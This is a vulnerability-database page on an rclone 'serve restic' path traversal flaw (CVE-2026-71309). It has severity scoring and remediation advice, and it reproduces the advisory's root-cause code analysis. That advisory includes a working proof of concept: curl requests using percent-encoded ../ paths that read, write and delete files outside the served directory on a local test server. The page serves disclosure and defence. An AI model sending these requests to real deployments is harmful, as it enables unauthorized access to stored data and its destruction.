Skip to main content

rclone CVE-2026-71309

| EUVDEUVD-2026-53613 HIGH
Path Traversal (CWE-22)
2026-08-05 https://github.com/rclone/rclone GHSA-45pq-889g-fcgh
8.6
CVSS 4.0 · Vendor: https://github.com/rclone/rclone
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify reachable rclone serve restic endpoint
  2. Delivery
    Craft percent-encoded ../ URL path
  3. Exploit
    Send HTTP GET/POST/DELETE request
  4. Execution
    Bypass WithRemote path.Clean validation
  5. Persist
    Backend joins traversal path with configured root
  6. Impact
    Access, create, or delete objects outside published directory

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The operator must be running rclone serve restic - this subcommand is not active in default rclone usage and must be deliberately started. The configured backend must be of an affected type: WebDAV, FTP, SFTP, the HTTP backend, or Memory; S3-compatible and local filesystem backends were not found to escape in testing because they encode .. as literal filename characters rather than resolving them as path components. The operator must publish a subdirectory rather than the storage root - if the backend root is already the storage root, there is no parent directory to escape into via traversal (though sibling object creation may still apply). The REST endpoint must be network-reachable to the attacker; no authentication is enforced by rclone serve restic itself by default, though operators may add it via a reverse proxy. The backend credential must have read or write access to objects outside the served subdirectory for traversal reads or writes to succeed. The --append-only flag limits delete and overwrite operations but does not eliminate traversal reads or new object creation. Percent-encoding of the traversal sequence (%2e%2e) is sufficient to bypass server-side decoding; the PoC demonstrates this requires no special tooling beyond curl with --path-as-is.

Impact

No CVSS score or EPSS data was provided by NVD or the vendor at time of analysis; all metric assessments below are independently derived from the description and commit diff. The attack vector is network (unauthenticated HTTP REST endpoint), complexity is low (a single crafted percent-encoded URL), and no privileges or user interaction are required against a default rclone serve restic deployment. The impact is high across confidentiality, integrity, and availability for affected backend types. The public, step-by-step proof of concept substantially lowers the exploitation barrier. The primary real-world limiting factors are: the operator must specifically be using rclone serve restic (a specific subcommand, not rclone's general transfer mode), the backend must be of an affected type (WebDAV, FTP, SFTP, HTTP, or Memory - S3 and local filesystem are not vulnerable in tested configurations), and the REST endpoint must be network-reachable. These conditions reduce breadth but do not reduce severity for exposed deployments. The --append-only flag partially mitigates write and delete impact but does not prevent traversal reads or creation of new objects outside the root. The long vulnerable version range (v1.40 through v1.74.4) implies many installations in the field have not yet patched.

Exploit ScenarioDerived

An attacker discovers a publicly reachable rclone serve restic endpoint and sends a GET request with a percent-encoded traversal path such as GET /%2e%2e/outside-secret.txt using curl --path-as-is. The request bypasses the WithRemote path validation (because path.Clean('../outside-secret.txt') equals '../outside-secret.txt'), the WebDAV or SFTP backend resolves the path outside the configured root, and the server returns the contents of the sibling file. The attacker then issues POST and DELETE requests against the same traversal paths to overwrite or destroy objects such as backup metadata, configuration files, or credentials stored adjacent to the served directory. A fully reproducible proof of concept using rclone v1.74.4 and WsgiDAV has been publicly released as part of the advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 05, 2026

Path traversal in rclone's serve restic REST API allows any attacker with network access to the endpoint to read, create, overwrite, or delete objects outside the operator-configured backend directory. The flaw spans rclone v1.40 through v1.74.4 and affects WebDAV, FTP, SFTP, HTTP, and Memory backends - but not S3-compatible or local filesystem backends, which encode .. as literal filename characters. A fully functional, step-by-step proof of concept has been publicly released; no CISA KEV listing exists at time of analysis.

RemediationAI

Upgrade to rclone v1.75.0, which resolves the flaw by replacing the flawed path.Clean comparison with io/fs.ValidPath() in WithRemote (commit cc5a189f00efe68ed0ddb32d3237b42549a9f264). The release is available at https://github.com/rclone/rclone/releases/tag/v1.75.0. If immediate upgrade is not possible, restrict network access to the rclone serve restic endpoint using a firewall or reverse proxy that enforces authentication and blocks requests containing percent-encoded dot sequences (%2e%2e) before they reach rclone - note that the reverse proxy must decode and inspect the path, not just pass it through. As a secondary measure, configure the backend credential with the minimum necessary permissions for the served root only, limiting what an attacker can reach via traversal. The --append-only flag reduces overwrite and delete blast radius but does not prevent read traversal or creation of new sibling objects, so it is not a standalone workaround. Operators using only S3-compatible or local filesystem backends with default encoding are not affected in tested configurations.

Affected VersionsENISA

rclone 1.40.0, < 1.75.0

Affected Packages

go github.com/rclone/rclone fix: 1.75.0
euvd rclone_1_40_0 fix: 1.75.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is a logic error in the WithRemote middleware (cmd/serve/restic/restic.go, lines 235-264, CWE-22). The code attempts to reject traversal paths by comparing path.Clean(urlpath) != urlpath, but Go's path.Clean preserves leading parent components in relative paths: path.Clean('../outside.txt') returns '../outside.txt' unchanged, so both sides of the comparison are equal and the check passes. Only interior traversal (e.g., a/../../outside.txt) produces a different cleaned output and is correctly blocked. The accepted unsafe path is stored in the request context and forwarded without a second containment check to GET, POST, HEAD, and DELETE handlers. Each affected backend then joins its configured root with the attacker-controlled remote using path.Join, which resolves the leading ../ and escapes the root. The fix, committed in cc5a189f, replaces the flawed check with io/fs.ValidPath(), which correctly rejects any path containing . or .. components. CPE: pkg:go/github.com_rclone_rclone, versions >= 1.40.0 and < 1.75.0.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/rclone/rclone) PRIMARY 8.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

No authentication required by default; single crafted HTTP request suffices; full read, write, and delete impact on accessible objects outside configured root.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE HIGH
Red Hat 8.1 HIGH

Primary rating from Vendor (https://github.com/rclone/rclone).

CVSS VectorVendor: https://github.com/rclone/rclone

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Summary

rclone serve restic does not correctly reject URL paths beginning with ../. On affected backends, an attacker who can access the REST endpoint can read, create, overwrite, or delete objects outside the path configured by the operator.

The issue affects rclone v1.40 through rclone v1.74.4. The proof of concept and backend matrix were validated with the official Linux AMD64 binary for v1.74.4, and the latest master commit reviewed at the time (2217d38) contained the same vulnerable validation. The main proof of concept uses WsgiDAV as an independent storage server and one rclone process.

Affected versions

All releases from v1.40 through v1.74.4 are affected.

Affected components and backend propagation

The primary vulnerable component is the backend-independent WithRemote middleware in cmd/serve/restic/restic.go, lines 235-264. It accepts a leading parent component and stores that unsafe relative path in the request context. The REST handlers then pass the same value to whichever rclone backend the operator configured. Therefore, the flaw is not specific to WebDAV.

The backend determines whether the accepted ../ path escapes, is preserved, or is encoded as safe filename characters. The source locations and line numbers below correspond to the release used for dynamic testing:

Layer or backendFile and functionRelevant linesPath propagationDynamic evidence
REST server, primary causecmd/serve/restic/restic.go, WithRemote235-264Accepts a leading ../ remote and shares it with GET, HEAD, POST, and DELETE handlersConfirmed through WebDAV
WebDAVbackend/webdav/webdav.go, (*Fs).filePath421-427path.Join(f.root, file) removes the configured root when resolving ../read, write, delete
FTPbackend/ftp/ftp.go, (*Fs).NewObject, (*Object).Open, Update, and Remove844-848, 1308-1311, 1349-1356, 1411-1415Each operation joins the backend root and remote with path.Join before the FTP requestread, write, delete
HTTPbackend/http/http.go, (*Fs).url386-395Appends the escaped remote containing ../ to the configured endpoint URLread
Memorybackend/memory/memory.go, (*Fs).split227-231Joins f.root and the relative path before splitting the in-memory bucket and keyread, write, delete
SFTPbackend/sftp/sftp.go, (*Fs).remotePath2086-2089Joins f.absRoot and the remote, allowing the parent component to remove the published subdirectoryread, write, delete

These are backend-specific manifestations of the same WithRemote validation flaw, not separate vulnerabilities.

Technical Details

WithRemote obtains the decoded URL path, removes external slashes, and tries to reject traversal by comparing the path with path.Clean:

go
urlpath = strings.Trim(urlpath, "/")
// Reject any non-canonical path, in particular one containing ".."
// traversal elements.
if urlpath != "" && path.Clean(urlpath) != urlpath {
    http.Error(w, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
    return
}

The comment describes the intended behavior, but the condition does not reject every parent component. path.Clean preserves leading parent components in a relative path:

text
path.Clean("../outside.txt")  = "../outside.txt"
path.Clean("../../outside.txt") = "../../outside.txt"

Because both strings are equal, the middleware accepts the path. Internal traversal behaves differently:

text
path.Clean("a/../../outside.txt") = "../outside.txt"

These strings differ, so that request returns HTTP 400. This explains why the existing check appears to work while the leading variant bypasses it.

After validation, WithRemote stores the accepted value in the request context:

go
ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)
next.ServeHTTP(w, r.WithContext(ctx))

GET, POST, and DELETE handlers retrieve this same value. GET passes it to s.f.NewObject, POST passes it to operations.RcatSize, and DELETE resolves the object and calls Remove. There is no second containment check.

WebDAV is used below as the concrete end-to-end example because it was the backend used for the main proof of concept. WebDAV is not the source of the validation flaw. The example demonstrates one way in which an unsafe remote accepted by WithRemote is propagated by a backend.

The WebDAV backend joins its configured root with the attacker-controlled remote:

go
func (f *Fs) filePath(file string) string {
    subPath := path.Join(f.root, file)
    if f.opt.Enc != encoder.EncodeZero {
        subPath = f.opt.Enc.FromStandardPath(subPath)
    }
    return rest.URLPathEscapeAll(subPath)
}

For the proof of concept:

text
f.root = "served-root"
file = "../outside-secret.txt"

path.Join("served-root", "../outside-secret.txt")
= "outside-secret.txt"

The configured root is removed before encoding. WsgiDAV receives a normal operation for /outside-secret.txt, which is outside the root published by rclone serve restic.

The same accepted leading parent path propagates through the other affected backends tested. FTP joins its root and remote with path.Join before object operations; HTTP preserves served-root/../outside-secret.txt when constructing the endpoint request; Memory joins the root and relative path before splitting the bucket and key; and SFTP joins f.absRoot and the remote in remotePath. In each case, the backend receives the leading parent component already accepted by WithRemote. The exact escape mechanism and available operations vary by backend. Conversely, S3-compatible and local backends did not escape in the tested configuration because they encoded .. as filename characters.

Expected behavior is HTTP 400 before any backend operation. Actual behavior is HTTP 200 followed by an operation outside served-root.

Preconditions and impact

The operator must publish a backend subdirectory, the endpoint must be reachable, and the backend credential must have access to a parent or sibling object. Exploitability also depends on backend path semantics.

An attacker may:

  • read files and objects outside the published backup root;
  • create or overwrite sibling objects;
  • delete objects when deletion is permitted;
  • cross isolation boundaries between users, repositories, or automation jobs;
  • indirectly compromise another system if it later trusts an overwritten configuration, script, or artifact.

--append-only reduces overwrite and delete impact but does not prevent traversal reads or creation of new objects.

Proof of concept

The following procedure was executed on Linux Mint 22.3 with the official rclone v1.74.4 Linux AMD64 binary, WsgiDAV 4.3.5, and Cheroot 10.0.1. The rclone binary reports that it was built with Go 1.26.5.

1. Create the storage layout

console
$ mkdir -p poc/storage/served-root
$ printf '%s\n' 'INSIDE-PUBLISHED-ROOT' > poc/storage/served-root/inside.txt
$ printf '%s\n' 'SECRET-OUTSIDE-PUBLISHED-ROOT' > poc/storage/outside-secret.txt
$ find poc/storage -type f
poc/storage/served-root/inside.txt
poc/storage/outside-secret.txt

2. Start the independent WebDAV server

console
$ python3 -m venv poc/venv
$ poc/venv/bin/pip install 'WsgiDAV==4.3.5' 'cheroot==10.0.1'
$ poc/venv/bin/wsgidav --host=127.0.0.1 --port=39500 \
    --root="$PWD/poc/storage" --auth=anonymous --no-config
Running without configuration file.
...
Server: WsgiDAV/4.3.5 Cheroot/10.0.1 Python/3.12.3

3. Download, verify, and start rclone

console
$ curl -fLO https://downloads.rclone.org/v1.74.4/rclone-v1.74.4-linux-amd64.zip
$ curl -fLO https://downloads.rclone.org/v1.74.4/SHA256SUMS
$ grep '  rclone-v1.74.4-linux-amd64.zip$' SHA256SUMS | sha256sum -c -
rclone-v1.74.4-linux-amd64.zip: OK

$ unzip rclone-v1.74.4-linux-amd64.zip
$ ./rclone-v1.74.4-linux-amd64/rclone version | head -n 1
rclone v1.74.4

$ ./rclone-v1.74.4-linux-amd64/rclone serve restic ':webdav:served-root' \
    --webdav-url http://127.0.0.1:39500 \
    --webdav-vendor other --addr 127.0.0.1:39501 -vv
NOTICE: webdav root 'served-root': Serving restic REST API on [http://127.0.0.1:39501/]

4. Confirm normal access

console
$ curl --path-as-is -i http://127.0.0.1:39501/inside.txt
HTTP/1.1 200 OK
...
INSIDE-PUBLISHED-ROOT

5. Read outside the published root

console
$ curl --path-as-is -i http://127.0.0.1:39501/%2e%2e/outside-secret.txt
HTTP/1.1 200 OK
...
SECRET-OUTSIDE-PUBLISHED-ROOT

6. Write outside the published root

console
$ curl --path-as-is -i -X POST \
    http://127.0.0.1:39501/%2e%2e/outside-write.txt \
    --data-binary 'ATTACKER-CONTROLLED-OUTSIDE-ROOT'
HTTP/1.1 200 OK
...

$ cat poc/storage/outside-write.txt
ATTACKER-CONTROLLED-OUTSIDE-ROOT

7. Delete outside the published root

console
$ curl --path-as-is -i -X DELETE \
    http://127.0.0.1:39501/%2e%2e/outside-write.txt
HTTP/1.1 200 OK
...

$ test ! -e poc/storage/outside-write.txt && echo 'physical file deleted'
physical file deleted

8. Compare with internal traversal

console
$ curl --path-as-is -i http://127.0.0.1:39501/a/../../outside-secret.txt
HTTP/1.1 400 Bad Request
...
Bad Request

This demonstrates why the existing check appears to work for interior traversal while the leading variant bypasses it.

Tested backends

BackendLocal implementationResultOperations tested
WebDAVWsgiDAV 4.3.5Affectedread, write, delete
FTPpyftpdlib 2.2.0Affectedread, write, delete
HTTPPython http.server 3.12.3Affectedread
Memoryrclone memory backendAffectedread, write, delete
SFTPatmoz/sftp OpenSSH serverAffectedread, write, delete
S3 compatibleMinIONo root escape observedread, write, delete
Local filesystemdefault local encodingNo root escape observedread, write, delete

Only the backends listed in this table were tested or classified. Every row was dynamically repeated with the same official v1.74.4 Linux AMD64 binary identified in the proof of concept.

Suggested remediation

Reject . and .. components in WithRemote before storing the remote in the context. Validating the decoded relative path with io/fs.ValidPath, with explicit handling for the empty API root, is one possible approach. Authorization and backend lookup should use the same validated representation.

Regression tests should cover GET, HEAD, POST, and DELETE with .., ../x, ../../x, %2e%2e/x, a/../x, and a/../../x, both with and without --private-repos.

Additional impact scenarios identified by the maintainer

  • GET /../ could reach the list handler and enumerate the parent directory, allowing an attacker to discover object names before accessing them.
  • With --append-only, a request such as DELETE /../locks/<name> could satisfy the existing delete guard and delete an object outside the served root.
  • A bare . path was also accepted. On bucket-based backends, POST /. could write an object outside the intended served path.

Credit: Caubi Loureiro of Vorpcel Research

Executive ViewAI

Why It Matters

rclone's serve restic REST API (versions 1.40-1.74.4) is vulnerable to unauthenticated path traversal attacks allowing attackers with network access to read, modify, or delete data outside the configured backend directory on WebDAV, FTP, SFTP, HTTP, and Memory backends, with publicly available exploit code identified. This directly threatens organizations using affected rclone versions for backup and storage operations, potentially compromising data integrity and violating compliance obligations. Vendor patches are available.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 76% exploitable
Prevalence
Medium
popular open-source sync tool; serve restic subcommand is niche
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

63
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy